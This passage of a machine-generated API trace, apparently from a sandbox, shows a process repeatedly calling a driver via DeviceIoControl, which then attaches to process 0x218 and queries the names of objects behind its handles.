(ApcState=0xfffff880054f85d0) [0070.798] PsReleaseProcessExitSynchronization () returned 0x2 [0070.798] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.798] ObQueryNameString (in: Object=0xfffffa8002824e40, ObjectNameInfo=0xfffffa8003919044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003919044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.798] ObfDereferenceObject (Object=0xfffffa8003303810) returned 0x1 [0070.798] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.798] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.798] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.798] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0070.798] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.798] PsAcquireProcessExitSynchronization () returned 0x0 [0070.798] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.798] ObReferenceObjectByHandle (in: Handle=0x1e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003305c10, HandleInformation=0x0) returned 0x0 [0070.798] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.798] PsReleaseProcessExitSynchronization () returned 0x2 [0070.798] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.798] ObQueryNameString (in: Object=0xfffffa80032a3720, ObjectNameInfo=0xfffffa800397f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800397f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0070.798] ObfDereferenceObject (Object=0xfffffa8003305c10) returned 0x1 [0070.798] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.798] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.798] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.799] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.799] PsAcquireProcessExitSynchronization () returned 0x0 [0070.799] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.799] ObReferenceObjectByHandle (in: Handle=0x1ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002471c80, HandleInformation=0x0) returned 0x0 [0070.799] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.799] PsReleaseProcessExitSynchronization () returned 0x2 [0070.799] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.799] ObQueryNameString (in: Object=0xfffffa8002471c80, ObjectNameInfo=0xfffffa8003980044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003980044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.799] ObfDereferenceObject (Object=0xfffffa8002471c80) returned 0x2 [0070.799] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.799] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.799] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.799] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.799] PsAcquireProcessExitSynchronization () returned 0x0 [0070.799] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.799] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003306f20, HandleInformation=0x0) returned 0x0 [0070.799] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.799] PsReleaseProcessExitSynchronization () returned 0x2 [0070.799] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.799] ObQueryNameString (in: Object=0xfffffa8003306f20, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.799] ObfDereferenceObject (Object=0xfffffa8003306f20) returned 0x1 [0070.799] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.799] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.799] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.799] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.799] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.799] PsAcquireProcessExitSynchronization () returned 0x0 [0070.799] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.799] ObReferenceObjectByHandle (in: Handle=0x200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003305ac0, HandleInformation=0x0) returned 0x0 [0070.799] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.799] PsReleaseProcessExitSynchronization () returned 0x2 [0070.800] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.800] ObQueryNameString (in: Object=0xfffffa8003305ac0, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.800] ObfDereferenceObject (Object=0xfffffa8003305ac0) returned 0x2 [0070.800] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.800] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.800] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.800] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.800] PsAcquireProcessExitSynchronization () returned 0x0 [0070.800] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.800] ObReferenceObjectByHandle (in: Handle=0x204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003307560, HandleInformation=0x0) returned 0x0 [0070.800] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.800] PsReleaseProcessExitSynchronization () returned 0x2 [0070.800] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.800] ObQueryNameString (in: Object=0xfffffa8003307560, ObjectNameInfo=0xfffffa8003983044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003983044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.800] ObfDereferenceObject (Object=0xfffffa8003307560) returned 0x1 [0070.800] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.800] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.800] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.800] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.800] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.800] PsAcquireProcessExitSynchronization () returned 0x0 [0070.800] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.800] ObReferenceObjectByHandle (in: Handle=0x244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80033192d0, HandleInformation=0x0) returned 0x0 [0070.800] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.800] PsReleaseProcessExitSynchronization () returned 0x2 [0070.800] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.800] ObQueryNameString (in: Object=0xfffffa80033192d0, ObjectNameInfo=0xfffffa8003984044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003984044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.800] ObfDereferenceObject (Object=0xfffffa80033192d0) returned 0x1 [0070.800] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.801] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.801] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.801] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.801] PsAcquireProcessExitSynchronization () returned 0x0 [0070.801] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.801] ObReferenceObjectByHandle (in: Handle=0x24c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80032ff070, HandleInformation=0x0) returned 0x0 [0070.801] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.801] PsReleaseProcessExitSynchronization () returned 0x2 [0070.801] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.801] ObQueryNameString (in: Object=0xfffffa80032ff070, ObjectNameInfo=0xfffffa8003997044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003997044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.801] ObfDereferenceObject (Object=0xfffffa80032ff070) returned 0x2 [0070.801] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.801] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.801] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0070.801] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.801] PsAcquireProcessExitSynchronization () returned 0x0 [0070.801] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.801] ObReferenceObjectByHandle (in: Handle=0x250, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f7abd0, HandleInformation=0x0) returned 0x0 [0070.801] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.801] PsReleaseProcessExitSynchronization () returned 0x2 [0070.801] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.801] ObQueryNameString (in: Object=0xfffffa8002f7abd0, ObjectNameInfo=0xfffffa80039a3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.801] ObfDereferenceObject (Object=0xfffffa8002f7abd0) returned 0x1 [0070.801] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.801] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.801] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.801] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.801] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.801] PsAcquireProcessExitSynchronization () returned 0x0 [0070.801] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.802] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.802] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.802] PsReleaseProcessExitSynchronization () returned 0x2 [0070.802] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.802] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80039a4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039a4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.802] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.802] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.802] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.802] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0070.802] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.802] PsAcquireProcessExitSynchronization () returned 0x0 [0070.802] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.802] ObReferenceObjectByHandle (in: Handle=0x2a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0070.802] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.802] PsReleaseProcessExitSynchronization () returned 0x2 [0070.802] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.802] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.802] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0070.802] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.802] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.802] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.802] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0070.802] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.802] PsAcquireProcessExitSynchronization () returned 0x0 [0070.802] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.802] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003431070, HandleInformation=0x0) returned 0x0 [0070.802] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.802] PsReleaseProcessExitSynchronization () returned 0x2 [0070.802] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.802] ObQueryNameString (in: Object=0xfffffa8003431070, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.803] ObfDereferenceObject (Object=0xfffffa8003431070) returned 0x1 [0070.803] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.803] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.803] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0070.803] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.803] PsAcquireProcessExitSynchronization () returned 0x0 [0070.803] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.803] ObReferenceObjectByHandle (in: Handle=0x42c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800342da70, HandleInformation=0x0) returned 0x0 [0070.803] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.803] PsReleaseProcessExitSynchronization () returned 0x2 [0070.803] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.803] ObQueryNameString (in: Object=0xfffffa800342da70, ObjectNameInfo=0xfffffa800397e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800397e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.803] ObfDereferenceObject (Object=0xfffffa800342da70) returned 0x2 [0070.803] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.803] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.803] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.803] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0070.803] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.803] PsAcquireProcessExitSynchronization () returned 0x0 [0070.803] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.803] ObReferenceObjectByHandle (in: Handle=0x510, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800352fd10, HandleInformation=0x0) returned 0x0 [0070.803] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.803] PsReleaseProcessExitSynchronization () returned 0x2 [0070.803] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.803] ObQueryNameString (in: Object=0xfffffa800352fd10, ObjectNameInfo=0xfffffa800391b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800391b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.803] ObfDereferenceObject (Object=0xfffffa800352fd10) returned 0x1 [0070.803] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.804] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.804] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.804] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0xc6, lpOverlapped=0x0) returned 1 [0070.804] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.804] PsAcquireProcessExitSynchronization () returned 0x0 [0070.804] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.804] ObReferenceObjectByHandle (in: Handle=0x520, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800352d3b0, HandleInformation=0x0) returned 0x0 [0070.804] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.804] PsReleaseProcessExitSynchronization () returned 0x2 [0070.804] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.804] ObQueryNameString (in: Object=0xfffffa800352d3b0, ObjectNameInfo=0xfffffa8003982044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003982044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.804] ObfDereferenceObject (Object=0xfffffa800352d3b0) returned 0x1 [0070.804] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.804] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.804] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.804] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0070.804] PsLookupProcessByProcessId (in: ProcessId=0x218, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0070.804] PsAcquireProcessExitSynchronization () returned 0x0 [0070.804] KeStackAttachProcess (in: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80031c1b30, ApcState=0xfffff880054f85d0) [0070.804] ObReferenceObjectByHandle (in: Handle=0x524, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019c4700, HandleInformation=0x0) returned 0x0 [0070.804] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0070.804] PsReleaseProcessExitSynchronization () returned 0x2 [0070.804] ObfDereferenceObject (Object=0xfffffa80031c1b30) returned 0xba [0070.804] ObQueryNameString (in: Object=0xfffff8a0019c4700, ObjectNameInfo=0xfffffa8003981044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003981044, ReturnLength=0xfffff880054f8550) returned 0x0 [0070.804] ObfDereferenceObject (Object=0xfffff8a0019c4700) returned 0x1 [0070.804] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0070.804] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0070.804] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0070.804] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, 